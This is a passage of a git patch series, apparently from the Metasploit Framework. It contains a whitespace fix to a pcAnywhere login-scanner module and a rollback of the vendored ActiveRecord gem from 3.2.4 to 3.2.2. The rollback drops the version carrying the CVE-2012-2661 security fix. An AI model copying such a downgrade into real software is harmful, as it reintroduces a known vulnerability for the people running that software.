From 34be642f840aa19fc7ef7d8caa9c26c01278bb19 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 6 Jun 2012 10:40:56 -0500 Subject: [PATCH 01/10] msftidy found EOL spaces on new modules --- modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb index 7553210d16..119af14262 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb @@ -159,7 +159,7 @@ class Metasploit3 < Msf::Auxiliary return '' unless data.kind_of? String encrypted = '' encrypted << ( data.unpack('C')[0] ^ 0xab ) - data.bytes.each_with_index do |byte, idx| + data.bytes.each_with_index do |byte, idx| next if idx == 0 encrypted << ( encrypted[(idx - 1),1].unpack('C')[0] ^ byte ^ (idx - 1) ) end From a20cec75cc0e53260d0869196c9a731165ef2b6d Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Wed, 6 Jun 2012 11:06:33 -0500 Subject: [PATCH 02/10] Rollback activerecord to 3.2.2 to prevent asset inclusion issues. --- .../CHANGELOG.md | 47 +------------ .../MIT-LICENSE | 0 .../README.rdoc | 2 +- .../examples/associations.png | Bin .../examples/performance.rb | 0 .../examples/simple.rb | 0 .../lib/active_record.rb | 0 .../lib/active_record/aggregations.rb | 2 +- .../lib/active_record/associations.rb | 4 +- .../associations/alias_tracker.rb | 9 ++- .../active_record/associations/association.rb | 3 +- .../associations/association_scope.rb | 19 +----- .../associations/belongs_to_association.rb | 0 .../belongs_to_polymorphic_association.rb | 0 .../associations/builder/association.rb | 0 .../associations/builder/belongs_to.rb | 0 .../builder/collection_association.rb | 0 .../builder/has_and_belongs_to_many.rb | 0 .../associations/builder/has_many.rb | 0 .../associations/builder/has_one.rb | 0 .../builder/singular_association.rb | 0 .../associations/collection_association.rb | 16 +---- .../associations/collection_proxy.rb | 0 .../has_and_belongs_to_many_association.rb | 17 ++--- .../associations/has_many_association.rb | 8 +-- .../has_many_through_association.rb | 8 +-- .../associations/has_one_association.rb | 0 .../has_one_through_association.rb | 0 .../associations/join_dependency.rb | 2 +- .../join_dependency/join_association.rb | 0 .../associations/join_dependency/join_base.rb | 0 .../associations/join_dependency/join_part.rb | 0 .../active_record/associations/join_helper.rb | 0 .../active_record/associations/preloader.rb | 0 .../associations/preloader/association.rb | 5 +- .../associations/preloader/belongs_to.rb | 0 .../preloader/collection_association.rb | 0 .../preloader/has_and_belongs_to_many.rb | 0 .../associations/preloader/has_many.rb | 0 .../preloader/has_many_through.rb | 0 .../associations/preloader/has_one.rb | 0 .../associations/preloader/has_one_through.rb | 0 .../preloader/singular_association.rb | 0 .../preloader/through_association.rb | 0 .../associations/singular_association.rb | 0 .../associations/through_association.rb | 10 +-- .../lib/active_record/attribute_assignment.rb | 0 .../lib/active_record/attribute_methods.rb | 3 +- .../attribute_methods/before_type_cast.rb | 0 .../deprecated_underscore_read.rb | 0 .../active_record/attribute_methods/dirty.rb | 0 .../attribute_methods/primary_key.rb | 0 .../active_record/attribute_methods/query.rb | 0 .../active_record/attribute_methods/read.rb | 23 ++++--- .../attribute_methods/serialization.rb | 0 .../attribute_methods/time_zone_conversion.rb | 1 - .../active_record/attribute_methods/write.rb | 0 .../lib/active_record/autosave_association.rb | 0 .../lib/active_record/base.rb | 5 +- .../lib/active_record/callbacks.rb | 0 .../lib/active_record/coders/yaml_column.rb | 0 .../abstract/connection_pool.rb | 62 +++++------------- .../abstract/connection_specification.rb | 0 .../abstract/database_limits.rb | 0 .../abstract/database_statements.rb | 0 .../abstract/query_cache.rb | 0 .../connection_adapters/abstract/quoting.rb | 0 .../abstract/schema_definitions.rb | 0 .../abstract/schema_statements.rb | 18 ++--- .../connection_adapters/abstract_adapter.rb | 2 +- .../abstract_mysql_adapter.rb | 31 +++------ .../connection_adapters/column.rb | 0 .../connection_adapters/mysql2_adapter.rb | 2 +- .../connection_adapters/mysql_adapter.rb | 0 .../connection_adapters/postgresql_adapter.rb | 29 +++----- .../connection_adapters/schema_cache.rb | 0 .../connection_adapters/sqlite3_adapter.rb | 0 .../connection_adapters/sqlite_adapter.rb | 11 +--- .../connection_adapters/statement_pool.rb | 0 .../lib/active_record/counter_cache.rb | 0 .../lib/active_record/dynamic_finder_match.rb | 12 ---- .../lib/active_record/dynamic_matchers.rb | 0 .../lib/active_record/dynamic_scope_match.rb | 0 .../lib/active_record/errors.rb | 0 .../lib/active_record/explain.rb | 0 .../lib/active_record/explain_subscriber.rb | 0 .../lib/active_record/fixtures.rb | 36 +++------- .../lib/active_record/fixtures/file.rb | 0 .../lib/active_record/identity_map.rb | 8 +-- .../lib/active_record/inheritance.rb | 25 +++---- .../lib/active_record/integration.rb | 0 .../lib/active_record/locale/en.yml | 0 .../lib/active_record/locking/optimistic.rb | 0 .../lib/active_record/locking/pessimistic.rb | 0 .../lib/active_record/log_subscriber.rb | 0 .../lib/active_record/migration.rb | 28 ++------ .../migration/command_recorder.rb | 0 .../lib/active_record/model_schema.rb | 0 .../lib/active_record/nested_attributes.rb | 0 .../lib/active_record/observer.rb | 0 .../lib/active_record/persistence.rb | 0 .../lib/active_record/query_cache.rb | 0 .../lib/active_record/querying.rb | 0 .../lib/active_record/railtie.rb | 8 +-- .../active_record/railties/console_sandbox.rb | 0 .../railties/controller_runtime.rb | 0 .../lib/active_record/railties/databases.rake | 5 +- .../active_record/railties/jdbcmysql_error.rb | 0 .../lib/active_record/readonly_attributes.rb | 0 .../lib/active_record/reflection.rb | 0 .../lib/active_record/relation.rb | 2 - .../lib/active_record/relation/batches.rb | 0 .../active_record/relation/calculations.rb | 0 .../lib/active_record/relation/delegation.rb | 0 .../active_record/relation/finder_methods.rb | 5 +- .../relation/predicate_builder.rb | 6 +- .../active_record/relation/query_methods.rb | 2 +- .../active_record/relation/spawn_methods.rb | 0 .../lib/active_record/result.rb | 0 .../lib/active_record/sanitization.rb | 0 .../lib/active_record/schema.rb | 0 .../lib/active_record/schema_dumper.rb | 2 +- .../lib/active_record/scoping.rb | 0 .../lib/active_record/scoping/default.rb | 0 .../lib/active_record/scoping/named.rb | 6 +- .../lib/active_record/serialization.rb | 0 .../serializers/xml_serializer.rb | 0 .../lib/active_record/session_store.rb | 0 .../lib/active_record/store.rb | 0 .../lib/active_record/test_case.rb | 0 .../lib/active_record/timestamp.rb | 0 .../lib/active_record/transactions.rb | 4 +- .../lib/active_record/translation.rb | 0 .../lib/active_record/validations.rb | 0 .../active_record/validations/associated.rb | 0 .../active_record/validations/uniqueness.rb | 6 +- .../lib/active_record/version.rb | 2 +- .../lib/rails/generators/active_record.rb | 0 .../generators/active_record/migration.rb | 0 .../migration/migration_generator.rb | 0 .../migration/templates/migration.rb | 9 +-- .../active_record/model/model_generator.rb | 4 -- .../model/templates/migration.rb | 0 .../active_record/model/templates/model.rb | 5 -- .../active_record/model/templates/module.rb | 0 .../observer/observer_generator.rb | 0 .../observer/templates/observer.rb | 0 .../session_migration_generator.rb | 0 .../session_migration/templates/migration.rb | 0 ...2.4.gemspec => activerecord-3.2.2.gemspec} | 16 ++--- 150 files changed, 144 insertions(+), 386 deletions(-) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/CHANGELOG.md (99%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/MIT-LICENSE (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/README.rdoc (99%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/examples/associations.png (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/examples/performance.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/examples/simple.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/aggregations.rb (99%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations.rb (99%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/alias_tracker.rb (92%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/association.rb (97%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/association_scope.rb (87%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/belongs_to_association.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/belongs_to_polymorphic_association.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/builder/association.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/builder/belongs_to.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/builder/collection_association.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/builder/has_and_belongs_to_many.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/builder/has_many.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/builder/has_one.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/builder/singular_association.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/collection_association.rb (98%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/collection_proxy.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/has_and_belongs_to_many_association.rb (76%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/has_many_association.rb (94%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/has_many_through_association.rb (95%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/has_one_association.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/has_one_through_association.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/join_dependency.rb (99%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/join_dependency/join_association.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/join_dependency/join_base.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/join_dependency/join_part.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/join_helper.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/preloader.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/preloader/association.rb (96%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/preloader/belongs_to.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/preloader/collection_association.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/preloader/has_and_belongs_to_many.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/preloader/has_many.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/preloader/has_many_through.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/preloader/has_one.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/preloader/has_one_through.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/preloader/singular_association.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/preloader/through_association.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/singular_association.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/associations/through_association.rb (97%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/attribute_assignment.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/attribute_methods.rb (98%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/attribute_methods/before_type_cast.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/attribute_methods/deprecated_underscore_read.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/attribute_methods/dirty.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/attribute_methods/primary_key.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/attribute_methods/query.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/attribute_methods/read.rb (95%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/attribute_methods/serialization.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/attribute_methods/time_zone_conversion.rb (98%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/attribute_methods/write.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/autosave_association.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/base.rb (99%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/callbacks.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/coders/yaml_column.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/abstract/connection_pool.rb (88%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/abstract/connection_specification.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/abstract/database_limits.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/abstract/database_statements.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/abstract/query_cache.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/abstract/quoting.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/abstract/schema_definitions.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/abstract/schema_statements.rb (97%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/abstract_adapter.rb (99%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/abstract_mysql_adapter.rb (96%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/column.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/mysql2_adapter.rb (99%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/mysql_adapter.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/postgresql_adapter.rb (98%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/schema_cache.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/sqlite3_adapter.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/sqlite_adapter.rb (97%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/connection_adapters/statement_pool.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/counter_cache.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/dynamic_finder_match.rb (84%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/dynamic_matchers.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/dynamic_scope_match.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/errors.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/explain.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/explain_subscriber.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/fixtures.rb (94%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/fixtures/file.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/identity_map.rb (96%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/inheritance.rb (91%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/integration.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/locale/en.yml (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/locking/optimistic.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/locking/pessimistic.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/log_subscriber.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/migration.rb (97%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/migration/command_recorder.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/model_schema.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/nested_attributes.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/observer.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/persistence.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/query_cache.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/querying.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/railtie.rb (93%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/railties/console_sandbox.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/railties/controller_runtime.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/railties/databases.rake (99%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/railties/jdbcmysql_error.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/readonly_attributes.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/reflection.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/relation.rb (99%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/relation/batches.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/relation/calculations.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/relation/delegation.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/relation/finder_methods.rb (99%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/relation/predicate_builder.rb (90%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/relation/query_methods.rb (99%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/relation/spawn_methods.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/result.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/sanitization.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/schema.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/schema_dumper.rb (98%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/scoping.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/scoping/default.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/scoping/named.rb (98%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/serialization.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/serializers/xml_serializer.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/session_store.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/store.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/test_case.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/timestamp.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/transactions.rb (99%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/translation.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/validations.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/validations/associated.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/validations/uniqueness.rb (99%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/active_record/version.rb (91%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/rails/generators/active_record.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/rails/generators/active_record/migration.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/rails/generators/active_record/migration/migration_generator.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/rails/generators/active_record/migration/templates/migration.rb (80%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/rails/generators/active_record/model/model_generator.rb (94%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/rails/generators/active_record/model/templates/migration.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/rails/generators/active_record/model/templates/model.rb (54%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/rails/generators/active_record/model/templates/module.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/rails/generators/active_record/observer/observer_generator.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/rails/generators/active_record/observer/templates/observer.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/rails/generators/active_record/session_migration/session_migration_generator.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{activerecord-3.2.4 => activerecord-3.2.2}/lib/rails/generators/active_record/session_migration/templates/migration.rb (100%) rename lib/gemcache/ruby/1.9.1/specifications/{activerecord-3.2.4.gemspec => activerecord-3.2.2.gemspec} (77%) diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/CHANGELOG.md b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/CHANGELOG.md similarity index 99% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/CHANGELOG.md rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/CHANGELOG.md index 6767fb74f5..3cf2f6a4e9 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/CHANGELOG.md +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/CHANGELOG.md @@ -1,43 +1,3 @@ -## Rails 3.2.4 (May 31, 2012) ## - -* Perf fix: Don't load the records when doing assoc.delete_all. - GH #6289. *Jon Leighton* - -* Association preloading shouldn't be affected by the current scoping. - This could cause infinite recursion and potentially other problems. - See GH #5667. *Jon Leighton* - -* Datetime attributes are forced to be changed. GH #3965 - -* Fix attribute casting. GH #5549 - -* Fix #5667. Preloading should ignore scoping. - -* Predicate builder should not recurse for determining where columns. - Thanks to Ben Murphy for reporting this! CVE-2012-2661 - -## Rails 3.2.3 (March 30, 2012) ## - -* Added find_or_create_by_{attribute}! dynamic method. *Andrew White* - -* Whitelist all attribute assignment by default. Change the default for newly generated applications to whitelist all attribute assignment. Also update the generated model classes so users are reminded of the importance of attr_accessible. *NZKoz* - -* Update ActiveRecord::AttributeMethods#attribute_present? to return false for empty strings. *Jacobkg* - -* Fix associations when using per class databases. *larskanis* - -* Revert setting NOT NULL constraints in add_timestamps *fxn* - -* Fix mysql to use proper text types. Fixes 